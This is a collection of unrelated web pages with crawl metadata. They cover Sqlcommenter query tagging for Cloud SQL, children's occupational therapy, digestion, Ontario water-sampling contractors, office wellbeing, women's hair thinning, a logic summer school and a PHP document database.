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Cloud SQL Insights launched earlier this year, giving developers a tool that helps detect, diagnose, and prevent query performance problems for PostgreSQL for Cloud SQL databases. Out of the box, the Query Insights dashboard provides database load graphs, detailed query performance, and built-in query plans. Users can boost the power of Insights by enabling query tagging via an open source library called Sqlcommenter. In this post, we’ll share the benefits of using query tagging, what Sqlcommenter is, and two ways you can enable it: using a supported ORM or manually by following the Sqlcommenter spec.
Application-centric database monitoring
One of the most powerful features of Insights is its ability to provide application-centric database monitoring and simplify application troubleshooting. To get this added functionality, you need to enable and set up query tagging. Query tagging augments your SQL statements with information about your application; you could tag queries by business logic, microservice, route, controller, etc. For example, using payment, inventory, business analytics, or shipping tags. You can then find the queries and database load that the various services create. This may help you find unexpected events, such as spikes for a business analytics tag at certain times of day, or you might see abnormal growth for a payment service trending over the previous week. Sounds great, but how does it work?
Overview of Sqlcommenter
Insights uses an open source library called Sqlcommenter, which allows application information related to your MVC framework to be sent to the database along with queries as a SQL comment. Sqlcommenter has recently merged with OpenTelemetry to extend the vision of OpenTelemetry to databases and help grow the observability ecosystem. In addition to application information, Sqlcommenter allows OpenTelemetry trace context information to be propagated to the database, making it possible to find correlations between application traces and database query plans. Developers can view this observability information directly in database logs, the information can be integrated into other tools like Cloud SQL Insights or APM tools such as those from Datadog, Dynatrace, and Splunk.
Sqlcommenter supports several ORMs and frameworks including Django, SQLAlchemy Ruby on Rails, Knex.js, Sequelize.js, Spring, Hibernate, and more. If you are using one of these supported ORMs, the application tags are automatically created for you, with little to no change to your application code. If you are not using an ORM, you can manually add Sqlcommenter tags to your SQL queries. Let’s look at how to enable Sqlcommenter for query tagging in one of the supported languages and frameworks and how to manually tag queries if you aren’t using an ORM.
Using Python and SQLAlchemy with Sqlcommenter
Each supported ORM has documentation and examples to show you how to install and enable it. Here’s the process you would follow to set up Sqlcommenter in a Python application that uses SQLAlchemy.
Run the following to install Sqlcommenter with the option to record OpenTelemetry trace context:
pip3 install google-cloud-sqlcommenter[opentelemetry]
Then, in your application code, attach the event listener shown below to the before_cursor_execute event of the database engine. This will ensure that all queries that are executed with that engine will have the SQL comments included. Once you’ve installed Sqlcommenter and added the code below, no further code changes are needed to your application.
The output in the database logs would look something like this:
For other ORMs and frameworks, you can find links to the instructions for setting up Sqlcommenter here.
Manually tagging queries using the Sqlcommenter spec
If you’re not using one of the supported ORMs, you can add comments to your SQL statements manually by following the Sqlcommenter specification. The Sqlcommenter algorithm adds a comment containing serialized key value pairs to a SQL statement. An overview of the algorithm is below; to understand the different pieces of the algorithm in more depth, see the algorithm documentation.
The following keys are supported for use in Cloud SQL Insights: action, controller, framework, route, application, db_driver, traceparent, and tracestate. However, if you’re not using Cloud SQL Insights, you can include any other custom keys as well.
The following information passed to the Sqlcommenter algorithm:
Results in this output:
If you’re running PostgreSQL for Cloud SQL databases, and you haven’t checked out Insights yet, now is the time! If you’re using one of the ORMs or frameworks that Sqlcommenter supports, you can find instructions in the documentation for how to enable it for each language and framework, along with some sample applications in the GitHub repo. If you have any feedback or questions, you can raise them in the issue tracker or reach out on Twitter.
Cloud BlogRead More | <urn:uuid:5a8a6be9-0e01-4754-b7bd-01f01ac9d2ff> | CC-MAIN-2022-33 | https://dataintegration.info/enable-query-tagging-with-sqlcommenter-to-understand-application-impact-on-database-performance | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.87211 | 1,063 | 1.539063 | 2 |
Occupational Therapy works to help children participate fully in their occupations and social situations. Children’s “occupations” are components of their daily routines, including getting dressed, toileting, washing hands, attending to and completing lessons at school, hand writing, staying calm in frustrating moments, and playing with friends, etc.
At Thinkering Kids, we do more than occupational therapy, we do DIR® Floortime-based occupational therapy! Our occupational therapists support children to Think(ering) and problem solve, not just to follow instructions and practice skills.
Our sessions involve meaningful, motivating, purposeful and dynamic activities that help children engage, attend, Think(ering), explore, create, learn and succeed.
Skills addressed by OT include:
Self-regulation (self-calming and attention/focus
Fine motor skills and posture
Independence across self care and daily activities
How we do it...
Build a rapport with the child
Promote and support their Think(er)ing processing
Use toys, games to work on developing skills
Follow their interest to motivate them to actively participate in activities
Foster their creativity
Understand and respect their sensory needs, learning styles, challenges and strengths | <urn:uuid:feeb5ade-7c3a-43d7-8d04-f2fe9687b887> | CC-MAIN-2022-33 | https://thinkeringkids.com/occupational-therapy/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.935152 | 267 | 3.171875 | 3 |
Your amazing digestive system
Dietitian Katrina Pace explains how your digestive system processes food.
Did you know the sight, smell or even just the thought of food is enough to start your digestive system kicking into action? I’ll show you how. Take a moment to think of your favourite food. Maybe an ice cream, roast chicken or cheese toastie. Now, think about what’s going on in your mouth. Is it starting to fill with saliva? Do you have to swallow? Well, that’s the first sign your digestive system is getting ready to do its thing.
What’s it all about?
The purpose of your digestive system is to break down food into smaller particles so it can be used appropriately by the body.
These smaller substances can then be moved by the body from the digestive system and into the bloodstream where they are used for building cells, enzymes, hormones and anything else our body needs.
Another function for the digestive system is to act as a physical and immune barrier to things that shouldn’t get through into our bloodstream.
What is your digestive system?
A system is a group of parts working together as an interconnecting network, and that’s exactly what your digestive system is. This system starts at the mouth and ends up all the way down at the bottom: the rectum and anus. After you put food or drink in your mouth, it’s mixed with saliva as we chew.
Saliva contains an enzyme that starts the digestion of carbohydrates. When you’ve chewed your food, you swallow and it goes down your oesophagus, a long tube that connects your mouth to your stomach (your stomach sits just under your ribcage, at the front of your body). The oesophagus squeezes the food as it is swallowed, making it smaller and mushier. If you don’t chew bread or meat well, you can sometimes feel it going down your chest. Your stomach is where digestion really gets going. Changes in acidity in the stomach, caused by food, trigger cascades of enzymes and hormones. Enzymes start the breakdown of protein, fats and starches. Hormones and neurotransmitters trigger feelings of fullness and alert the rest of the digestive system to get ready to digest food. The stomach makes about 2-3 litres of gastric fluid each day. The food is watery now it’s been mixed with all this fluid.
Next stop – the small intestine. The small intestine is about 3-5 metres long and wrapped up tight in your abdomen. As well as being long, the inside of the small intestine is covered in little finger-like bulges, called villi. These give it even more surface area to help our body absorb nutrients. This is the main role of the small intestine – getting the food particles to the right form to be transported into the blood stream, so they can be whisked off round the body to do their work. The pancreas and gallbladder add extra salts, enzymes and hormones to help this process.
Bacteria that live in your small intestine help keep its cells healthy and also produce nutrients and hormones.
After all the goodies have been taken out of the food, what are you left with? Well, that’s the fibre, old cells, waste products and dead bacteria. The stuff we usually call poo. The large intestine, or bowel, is where the final bit of water is squeezed out of the food and digestive waste, any leftover carbohydrates are fermented by bacteria and small amounts of vitamins and proteins are made.
Finally, these leftovers from the digestive process are removed from the body through the anus.
How long does this all take?
Well, your breakfast will be down to your small intestine by mid-afternoon, but it will take another day or so for the remains of it to be completely out of your body. But irritants such as spicy food, alcohol or coffee may speed things up, and not enough water or exercise may slow things down.
Signs that your digestive system may not be functioning well are indigestion, heartburn (reflux), tummy pains, bloating and gas.
You may experience a change in your bowel habits (diarrhoea or constipation) or start developing food intolerances.
Other signs include vitamin and mineral deficiencies that happen when the body can’t harvest the nutrients effectively.
Medications, stress, hormones, sudden dietary changes, food poisoning, gastro bugs or travel can all affect how our digestive system works. One common cause of digestive issues is mistaking low stomach acid levels for high (reflux), and treating yourself with antacids.
If your stomach isn’t at the right level of acidity, then some digestive enzymes and hormones aren’t triggered, so the rest of your digestive process is affected.
If you think you have acid reflux, make sure you get it checked out with your doctor.
The longer you experience digestive distress, the more likely it is to affect your body’s absorption of nutrients, the balance of bacteria in your system and your overall health, regardless of how healthily you eat.
After all, your digestive system is responsible for producing the building blocks for ensuring a healthy body.
From this to that: Digestive enzymes explained
Our bodies need a host of digestive enzymes to extract nutrients from our food. How the nutrients are packaged in food and drink is not how our body can use them. Imagine fat, carbohydrates and protein as necklaces, with long strings of beads on them. Digestive enzymes cut up the necklace so there are only a few beads on each string. Other enzymes then cut them down to only one bead per string. In this simple form, fat, carbohydrates and protein can then be used by the body.
Amylases break down carbohydrates. They’re found in saliva or released from the pancreas. Some types of fibre and gums can’t be digested by human amylase. They pass through to the large intestine, where some are fermented by bacteria.
Proteases break down proteins. An increase in acidity in the stomach activates a protease called pepsin that starts protein digestion. Other proteases are released by the pancreas. It is pepsin that is needed most to break down meat protein. Any undigested protein is fermented by bacteria in the large intestine.
Lipases break down fats. Most fat digestion happens in the small intestine. Bile acids are also needed to help fat digestion. Fatty meals slow down digestion in the stomach, and can stay in the stomach for up to four hours.
Lactase breaks down lactose (milk sugar). People with lactase deficiency can buy tablets containing lactase from pharmacies to help digestion.
If you don’t chew your food properly, don’t have enough acid in your stomach, or are missing enzymes, then your digestive system won’t work properly.
Signs of a healthy digestive system
If your digestive system is working in tip-top condition, the rest of your body will get the nutrients it needs to build hormones, neurotransmitters, skin cells and muscles. If you are eating a well-balanced, healthy diet, but experiencing poor wound healing, hormonal imbalances, bad skin or low mood (and no other cause has been found), it may be worth thinking about how your digestive system is working.
One of the key signs to having a healthy digestive system is that it’s not causing you any problems. You don’t have bad breath, a sore tummy or bloating. Your bowels open once or twice a day, and you don’t have to strain or wear a gas mask when you do.
Your appetite is moderate and you don’t (or rarely) experience food cravings. You don’t have low iron stores and your immune system works well. You are, in general, feeling and looking well.
Tips for maintaining a healthy digestive system
Chew your food
Chewing your food is the first step in breaking it down and getting it ready for digestion. Eating too fast and not chewing properly means the rest of the digestive process is affected by the stomach not being presented with smaller particles of food. Slow down and enjoy your whole eating experience.
Fibre, fibre, fibre
Fibre is the favourite food of the bacteria that live in our digestive system. Eating a diet high in wholegrain, fruit and vegetable fibres has been shown to give us the healthiest balance of bacteria which, in turn, can help keep us healthy. Not only that, but having plenty of fibre can increase the speed at which food goes through our large intestine, preventing constipation. Fibre also creates bulk that helps the bowel muscles work. Like any muscle in the body, the bowel muscle needs exercise too, and that’s what fibre can do.
Get enough to drink
With plenty of fibre, you need plenty of fluid. Fibre absorbs fluid as it goes through the digestive system, so getting dehydrated can lead to rock-hard poo.
Pick up problems quickly
Problems such as frequent bloating, reflux, tummy pains, bad breath or even food poisoning or gastro bugs can have lasting effects on your digestive system. For any concerns about your digestion, head straight to your GP to discuss your problems. | <urn:uuid:7ed23826-c3b2-4bec-8e2d-5163148ea1aa> | CC-MAIN-2022-33 | https://chefofking.net/cuisine-cok/advice/68117-your-amazing-digestive-system.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.929296 | 1,964 | 3.15625 | 3 |
Sampling Contractors in Ontario
Small water systems can face different challenges than larger systems as they generally employ less staff and can experience shortages of qualified personnel. Operation and sampling services can be provided by independent certified operators to these systems by contract. In an effort to make these services easier to locate, we have prepared a directory for water system owners in the Province of Ontario.
This map identifies contractors that can provide sample collection and operations services for small drinking water systems.
For more information on regulatory requirements for operating, testing or sampling drinking water systems in the Province of Ontario, refer to this Ministry chart: Required qualifications to operate, test or sample drinking water systems
Business locations and general areas of service are included on the map below for your convenience and is in no way an endorsement of the services provided. The information for this directory was supplied by the businesses listed. For more information on the services provided, please contact the businesses directly.
If you are a sampling contractor providing services in Ontario and would like to be added to this directory, contact us at email@example.com or 1(866)515-0550.
Visit our online library’s main webpage to find more resources on topics related to drinking water or view these similar posts.
Disponible en français. | <urn:uuid:a042c64d-1796-43c1-906f-0a119bbd45af> | CC-MAIN-2022-33 | https://wcwc.ca/sampling-contractors-in-ontario/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.931354 | 268 | 1.515625 | 2 |
Before all my research about noise pollution, I thought that noise only had a certain impact on our hearing, but I never expected that its destructive power was far from that. Just look at the impact on human health“The World Health Organization has calculated that at least 1m healthy life-years are lost every year in western European countries because of environmental noise.” Since noise pollution is so harmful, I want to design an APP that can visualize noise levels and help people report the source. In my APP design there are three major functions. First is detect the noise level and alert people when the noise is harmful. Second is record and report the noise source. Third function is to provide a map that can show our user the average noise level for a certain area based on people’s report. | <urn:uuid:dd2279e8-3951-42d5-ae59-d9913fbf161e> | CC-MAIN-2022-33 | https://new.mica.edu/annual-events-series/2021-commencement-exhibition-3/student/ran-ran/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.968635 | 161 | 2.65625 | 3 |
Your therapist will reply Betterhelp Robot Voice…with questions, feedback, guidance, or homework, and the app will inform you of their response.
The conversations are conserved in the chatroom so you’re totally free to reread and show whenever you ‘d like. Every conversation is likewise safeguarded by strict federal and state HIPAA laws.
You can head to the calendar and schedule a live chat session with your therapist if you don’t like waiting hours for a reaction.
This choice simulates the comfort of texting a good friend who quickly understands.
” Documenting your ideas is a helpful workout for all type of circumstances,” Imrie states. “If you seem like your thoughts are crowded or foggy, boiling them down into a few sentences can help bring a great deal of clarity and understanding.”
Live phone session
For those who prefer resolving issues out loud, it’s possible to set up an hour-long telephone call with your counselor.
The system doesn’t share your individual contact number with the therapist and whatever is done through the app.
Live video session
If you’re someone who takes pleasure in face-to-face discussion, you can also set up a video session with your counselor. Simply go to at your visit time and your counselor will trigger you to start the video chat.
From the age of about 13 onwards, I’ve suffered from higher-than-seems-normal levels of anxiety, and while I have actually mostly come to terms with being tense and a bit doomy, I certainly wouldn’t mind being less so. I’ve had counselling prior to, and it does help.
And pulling back from my own (reasonably subtle) problems for a moment, could e-counselling be the answer to the mental health issues escalating among under-30s? With cuts to mental health services actually beginning to bite, digitised therapy could be simply the ticket for young people who already filter nearly every element of their lives– buddies, work, sex, entertainment– through a screen.
Not everybody is completely persuaded that shifting mental health care online is the method forward. “For me, what operate in therapy is when you meet somebody in person, in the exact same space,” states London-based psychotherapist Sandra Tapie. “You get to know not only what it resembles to speak to the person, but how it feels to be in a space with them. Utilizing Skype is the next best thing: it’s ‘good enough’, however it does not produce the closeness, the intimacy, that actually gets people to open and check out things.”
” I have actually performed some research study into Skype counselling,” says London-based psychotherapist Dr Aaron Balick, “and it’s not the ‘practical equivalent’ of conventional counselling; it’s just not quite the same thing. It’s actually essential that individuals who engage in it are aware that it’s a various experience from remaining in the room with somebody, speaking face-to-face.”
” In terms of ease of access, it’s an excellent start and certainly much better than nothing. It’ll ideally lead them to ultimately showing up in the room.
In cases of mild depression, the NHS is now directing some clients towards online programmes rather than in person counselling, a phenomenon that worries Dr Balick.
” My worry is that it’s taking place increasingly more for financial reasons, instead of since it’s what’s best for people. If it’s presented just to save cash and there aren’t vital questions being asked about these services, that’s bad. But then, I’m constantly really sceptical of individuals who are either really really pro or really extremely versus online psychological healthcare. It’s a case of asking the ideal concerns.”
Well, if the future of mental health care is everything about IMs, FaceTime and ‘OMG, which neuroses R U?’ tests, I chose I ‘d find out what that brave new world would resemble. I registered for four extremely different online psychological health services– varying in cost from complimentary to , 100 a month– and ran my anxieties through them all, at the same time, for a week. Here’s what I discovered.
Does BetterHelp use licensed therapists? Betterhelp Robot Voice
What I’m doing here is reviewing my experience of using each mental health service, instead of its effectiveness – since even the most wizard-like therapist isn’t going to ‘cure’ you in simply one week. I’m merely comparing each service to the experience of sitting in a room and blarting on about yourself to a therapist. Nod if you’re with me. Okay, cool – let’s mental health!
How does it work?
As seen on FB (by me, anyhow), US company is the business behemoth of the e-counselling video game. They declare to have 500 licensed counsellors working for them, each with a minimum of 3 years of experience.
After completing a questionnaire to determine what particular flavour of mental you are, you’re coupled with a counsellor, who you can mercilessly switch for a various one at any time. (I got Dr. Laura Dabney, from Virginia). You then start an immediate messaged therapy session that both you and your counsellor can drop in and out of, and which could, in theory, continue up until among you eventually passed away.
What does it cost?
You get a complimentary seven-day trial – just like a free Netflix or Amazon Prime trial, except with method more concerns about what your youth was like. After that, it costs from , 24.50 a week for unrestricted message-based counselling and one ‘free’ phone session with your counsellor each month. Yeah, I do not get how it’s complimentary either, however whatever.
How much is BetterHelp monthly?
Filtering that through instant messaging might be helpful if you discover the concept of baring your soul to a stranger a bit awks. You will not get the same connection similar to in person counselling, however the semi-anonymity may make it much easier to open if you’ve been drinking 2 bottles of rum and dancing around in your dead nan’s wedding dress every night.
She first established the scale of my anxiety, what activates it– social scenarios, meeting people for the first time– and after that dived headlong into my fractious childhood (separated parents, strained familial relationships, bullied in junior school). She was pretty nosey tbh, however then that’s her job, isn’t it?
Overall, the service is impressively slick. The discussion can be a little stop-starty at times, but it was in fact a far smoother and more on-tap experience than I anticipated. I even got quick actions to messages over the weekend, which was unanticipated.
Talkspace vs Betterhelp
The reality you can modify messages before sending them indicates you’re not likely to blurt out something vulnerable and revealing in the heat of the moment. Extensive minutes of realisation may be hard to come by if you can’t get a relaxed circulation going.
Who do I believe it might it be good for?
Anybody with a low-end mental health concern who’s cool with getting counselled in a very internet-y, 2016-y method. If you’re living under the blackest, bleakest cloud you can possibly imagine and require serious attention (and possibly some medications), probably isn’t for you Betterhelp Robot Voice | <urn:uuid:2f287264-8e5f-4760-9105-b9bbc89f3fc8> | CC-MAIN-2022-33 | https://www.giorgiocounselling.co.uk/betterhelp-robot-voice/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.936278 | 1,659 | 1.625 | 2 |
Brief Encounter / JACK SELF
responding to Gabriela
What do you think is a good exhibition of architecture / architectural exhibition? Could you name some example, or some general principle, something you consider relevant?
An architectural exhibition is not the same as an exhibition about architecture. Weirdly, very few architects or exhibition designers understand the difference. The latter is when architecture gets presented through very standard modes also common to the world of art: maquettes, models, photographs, components and drawings. The problem is that you cannot understand a space when a building is shown in miniature. On a pedestal, a building becomes a sculpture. The main challenge is to make an exhibition that has architectural qualities – which means, finding a way to help someone understand a spatial relationship. It is not easy, but that must be the aim of every architectural exhibition in my opinion.
Jack Self (1987) is an architect and writer based in London. He did his Master at AA Undergraduate School. He is director of the REAL foundation and Editor-in-Chief of Real Review (“Britain´s foremost contemporary culture magazine” ) which was award-winning and was featured in the Design Museum´s 2017 Design of the Year Awards. He is also contributing editor at the Architectural Review, and has written for numerous publications like The Guardian, 032c, New Philosopher, e-flux,… He published several books RealEstates: Life without Debt (Bedford Press, 2014), Home Economics (2016), Mies in London (2018). In 2016 co-curated (with Shumi Bose and Finn Williams) the exhibition Home Economics at British Pavilion at the Venice Biennale.
Brief Encounter* is a short and quick format with an intent to reveal relations between individuals, different professions, and so on.
By avoiding a more complex interview, it aims to recall an immediateness, easiness of the only one, acute, straight but essential question.
Brief Encounter of two people (subjects), a chance form someone to ask something someone else, referring to his/her professional interest at a given time, publicly. A meeting framed by the extent of one question and virtual space of MAG D A.
* Brief Encounter comes from the 40´s movie by David Lean, about chance meeting of two random people at railway station. | <urn:uuid:fca873ee-ced6-4e9d-b209-891135b3453d> | CC-MAIN-2022-33 | https://magdamag.sk/2019/11/15/english-brief-encounter-jack-self/?lang=en | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.959904 | 483 | 1.578125 | 2 |
023 Central Okanagan
Entering into the TELP sessions, my hope was to engage in collaborative learning opportunities with other individuals across our province to form a strong professional learning network. This network would then will allow me to build on my leadership capacity while contributing to a strong provincial system of school and district leaders dedicated to sharing their enhanced knowledge and skills with the teams of leaders that they work with.
On reflection, our TELP sessions were all that I hoped and more! Often throughout this year, I found myself using my knowledge and understanding, developed and refined in TELP, to dialogue and support our school leaders. This ensured that learning accomplished in the TELP sessions expanded out to our school district and supported a shift in pedagogy that I am seeing in some of our schools. Further, the TELP sessions supported the development of a common language and understanding on the nature of our teaching and learning context amongst educators across our province. Using this common language, I believe that we use influence to solidify and move our redesigned curriculum forward and continue to work on embedding the First Peoples Principles of Learning in every learning story.
I believe that our cohort, led by Judy and Linda, offered acceptance, support and call to action on educational reform for each member. The TELP sessions, were, without a doubt, one of the most valuable learning experiences that I have ever engaged in. I wholeheartedly recommend this opportunity to any educator looking to be challenged, grow and connect with what is current in education in our province, country and the world.
Lastly, the sessions were fun and certainly involved laughter! | <urn:uuid:e511775e-2197-44ed-9d57-2594ca916781> | CC-MAIN-2022-33 | https://telp.educ.ubc.ca/vianne-kintzinger/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.950704 | 341 | 1.59375 | 2 |
Nordic Logic Summer School 2020 (NLS 2020)
event dates: 2020-06-22 – 2020-06-25
University of Bergen, Norway
June 22-25, 2020
Program Committee: Bahareh Afshari, Patrick Blackburn (co-chair), Lauri Hella, Ole Hjortland, Sara Negri, Øystein Linnebo, Rasmus K. Rendsvig, Marija Slavkovik (co-chair).
The fourth Nordic Logic Summer School is arranged under the auspices of the Scandinavian Logic Society. The three previous schools were organized in Nordfjordeid, Norway (2013), Helsinki, Finland (2015) and Stockholm, Sweden (2017). The intended audience is masters students, PhD-students, postdocs, and experienced researchers, who wish to learn the state of the art in a range of topics in contemporary logic. Attendees who want to obtain ECTS points will be able to do so by giving a short presentation on June 26th 2020.
Six courses on themes in philosophical logic, mathematical logic, and
computational logic will be offered. No parallel sessions are planned, so it
will be possible to attend them all. The courses are:
Yang Fan: Proof theoretic aspects of dependence logics
Peter Fritz: Necessitism vs contingentism
Nina Gierasimczuk: Learning and Modal Logic
Paulo Oliva: Proofs interpretations and constructive mathematics
Thomas Powell: Proof Mining
Sonja Smets: Logics for Epistemic Social Networks
Note that this summer school immediately precedes the eleventh Scandinavian Logic Symposium, which will also be held at the University of Bergen, which will run from June 26-28, 2020. | <urn:uuid:78353830-7451-4c16-83bc-8410f3e85d68> | CC-MAIN-2022-33 | https://scandinavianlogic.org/2020-02-18-NLS-2020.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573118.26/warc/CC-MAIN-20220817213446-20220818003446-00665.warc.gz | en | 0.845285 | 374 | 1.546875 | 2 |
The definition of workplace is changing – and so are too its responsibilities to people’s health and wellbeing.
With more people spending more time at work than ever before, the balance between life and work is blurring and it’s become more important to consider the aesthetics and fixtures of an office to improve worker’s health and moral.
Even the smallest changes to your place of work can improve employees’ wellbeing, such as: lighting and well-monitored temperature. A better office design will show workers that they feel valued and this will be mirrored in how they feel about their job.
With regards to temperature, while there is legally no minimum temperature for workspaces in the UK, the Health and Safety Executive says it is reasonable for employees to expect it to be at least 16C. The optimum comfort level for most people seems to be between 20-21C, whereas research found that nearly half of office workers are less productive when the temperature soars above 25C.
Despite being one of the most overlooked and least invested in, lighting is a crucial factor for workers to in stay focused and improving mood. Bad lighting can cause fatigue, eyestrain, headaches and overall irritability. Placing your work station in an area with good, natural lighting can reduce eye strain and increase alertness.
As well as lighting and temperature, space is an essential point to consider when designing your office. Lack of space creates a stifled work environment and decreases productivity as it doesn’t allow for free movement of personnel. Many studies have concluded that a well-designed office can increase productivity by as much as 20%.
According to the Office for National Statistics, just under a fifth of Britons are suffering from anxiety or depression.
North West Tonight recently reported on wellbeing in the workplace, investigating what employers in the region were doing to help their employees, when it comes down to stress. One example drew from our client Social Chain, of whom we played a key role in the fit-out of their office last year. Just some fun fixtures included a slide, ball pit and even a bar.
Dom McGregor, co-founder of Social Chain, said:
“We wanted to create an environment where we would enjoy coming every single day. It must be hard for some places to sit their desks all day and having no retreat. But here, you can go out, you can play with the dogs, go down the slide.”
You can check out the full interview here.
While we don’t all need to work in exciting places to feel stress-free, happier staff is the essential starting point of a sustainable business – if people feel better, they work better.
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Despite the fact that almost 50 percent of women will deal with hair loss and thinning in their lifetime, it’s a topic that’s rarely talked about. While the silence around hair thinning is understandable—it’s hard to admit you’re losing your hair—the silence ultimately does nothing to help educate women about what causes hair loss, how to prevent it, and how to treat it.
In an effort to learn more about hair thinning, we reached out to Mizani artist and certified trichologist Evie Johnson. Johnson, who’s been educating hairstylists about hair and scalp health since 2014, answered all of our burning questions including what causes hair thinning, how to prevent it, and what you should never ever do if you have thinning hair.
What causes thinning hair in females?
Johnson wants to make it clear that it is almost never one thing that causes hair thinning. Rather it’s usually a combination of several factors including genetics, overall health and how you treat your hair. When it comes to genetics, some women are predisposed to androgenetic alopecia, also known as female pattern hair loss, that runs in their family. If you are unsure whether or not hair loss is something any of the women in your family have dealt with—as it’s not a condition many women like to speak about—gently reach out. As with any health condition, the more information you have the better you’ll be equipped to deal with it.
As far as health, Johnson points to “thyroid and endocrine system concerns” as a potential cause of hair thinning. Additionally, there are certain conditions such as alopecia areata that specifically cause hair thinning.
“Alopecia areata is an autoimmune disease where your white blood cells attack the body, which causes the hair to respond with a form of alopecia (baldness),” she explains.
Mental health is also something to be mindful of when trying to figure out what is causing hair thinning. The stylist reveals mental health issues as common as plain old stress can sometimes lead to hair loss.
Johnson continues noting there are certain hairstyles and treatments such as tight braids and color services that can lead to other types of hair loss such as traction alopecia.
“Taut braids and incredibly tight ponytails create tension and pulling that can really be damaging,” she says. “Just as well, color services and relaxers can lead to thinning if there is an unnecessary amount of contact with the scalp, rather than the intended hair itself. The scalp can end up scarring, which leads to hair loss.”
When trying to figure out the cause of your hair thinning, be sure to pay attention to all three sections of your life.
Can you prevent hair thinning before it happens?
The simplest answer to this question is: It depends. Because hair thinning can be caused by so many different things, some forms of hair loss are preventable and others that are not.
Hair thinning caused by over styling and botched hair treatments is easily preventable.
“Be considerate with your hair styling choices. Again, repeated tight styles that create too much tension and pulling can be harmful as would overdoing it on relaxers and color services,” Johnson explains. “It is important to consult with a professional who can provide you with the necessary education.”
If you’re concerned your regular stylist doesn’t have enough knowledge about hair loss, seek out a trichologist like Johnson who specializes in the structure, function, and diseases associated with the human hair and scalp.
Stress is another hair loss trigger that is potentially preventable. While it may be impossible to remain stress-free all of the time, do your best to take care of yourself physically and emotionally—your hair will thank you.
Unfortunately, hair thinning caused by health problems such as alopecia areata and thyroid complications, along with hair loss caused by genetics are not as easily preventable.
Can female hair thinning be reversed?
Yes—but there’s a catch.
Hair and scalp education have come a long way, making it much easier to deal with hair woes like thinning. While Johnson insists she’s never seen a case of hair loss she has not been able to treat, that doesn’t always mean your hair will return to 100 percent of its former glory. Luckily, the most important thing you can do to stop or reverse hair loss potentially is very easy.
“The number one thing I make sure of is that the scalp is clean. A clean environment promotes hair growth—any buildup is only going to deter any new growth further,” she explains.
If you’re not sure your regular shampoo is doing the job, there are plenty of products on the market that are formulated to maintain a healthy scalp.
“Mizani has a professional scalp care range that includes an exfoliating product. I use this on my clients to cleanse their scalp of any dirt, dead skin cells, dandruff and product buildup,” Johnson says. “Think of it like exfoliating your skin—exfoliating your scalp is also an important ritual that will create the best environment for healthy hair growth.”
Now that you’ve made sure your scalp is nice and clean, there are products that you can add to your regimen to further encourage new growth. Johnson often recommends treatments and supplements such as minoxidil, saw palmetto, or platelet-rich plasma therapy. The important thing to know is that each supplement and treatment addresses a different cause of hair loss, so make sure you’ve identified the trigger of the hair loss before choosing one. Better yet, seek the advice of a professional who can diagnose the cause and recommend the best course of treatment.
If you’ve dealt with hair loss for more than 15 years and are just seeking treatment, the chances of reversing the thinning are much slimmer. So don’t wait to find help when dealing with hair loss—time is of the essence when it comes to saving your precious locks.
How do you hide thinning hair?
Hair loss is such a taboo topic mostly because no one wants to admit they have it. Even though we advocate for open and honest dialogue about hair health, we don't think that means you can’t wish your hair looks fuller. While you wait to see results from any supplements or treatments, there are tools you can use every day to give your mane the thick appearance you're looking to achieve. If you’re looking to cover bald spots and particularly thin areas of your hair, Johnson recommends hair fusion fibers.
“I really like fusion fibers—they are little protein hair fibers that are cut up. They come in a bottle with an applicator and dispense like perfume” she reveals. “If a person has any areas of thinness or baldness and you can spray this to match the color of the hair. Hair will look instantly fuller.”
One thing you don’t want to do is opt for expensive extensions—they have the potential to cause even more damage.
“Extensions are definitely not a good solution for women with thinning hair. There’s a tendency to find a quick fix, like extensions or wigs to conceal thinning hair, but these options can actually make things worse,” she explains. “When extensions are removed, they can take the hair follicle with it, which would result in additional hair loss or thinning. With wigs, putting more things on top of the scalp does not allow the hair room to breathe and grow.”
As far as styling your thinning hair, try to avoid tight styles like the ones Johnson mentioned earlier as well as long term installation styles—even ones that are considered protective. If you’re unsure what is safe to do with your hair, embracing your natural texture is always the best bet.
Are there any products you should avoid when dealing with thinning hair?
Yes—and the answer might surprise you.
Despite earning the title of hair holy grail over the last few years, coconut oil is a major no-no when it comes to thinning hair.
“Coconut oil, peppermint oil, argan oil, black Jamaican castor oil—you want to avoid putting oil directly on your scalp. There is a misconception that oil directly on the scalp will help with growth but this is completely false,” Johnson reveals. “The area round the hair follicle needs to be a clean, open and breathable space. Heavy application of oil or products can really muddy the area and stunt growth.”
Dealing with hair loss can be daunting, but if you follow these simple tips you’ll be on your way to the mane of your dreams in no time.
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Stairtower is a (experimental) database server for schema-free, JSON documents, that provides a restful API and is entirely written in PHP.
The server runtime is built on React and utilizes PHP's native JSON de- and encoding facilities to transform data. Where applicable the Standard PHP Library (SPL) is used to build on a solid foundation and increase performance.
The aim was to create a database system that is
Additionally it should simply show that this is possible in the language that sometimes seems to be derided by followers of 'modern' programming languages.
While creating such applications one may hit the wall of PHP. Managing memory and fine tuning performance in PHP has its limitations. The control over memory usage, allocation and freeing in a long running PHP application is complicated, if not even impossible (please correct me). So the performance and efficiency of other document stores may be a lot better.
An attempt to memory management is done with the Memory Manager which holds the only reference to memory intense object's (especially Database instances) and allows them to be freed (calling
unset() followed by
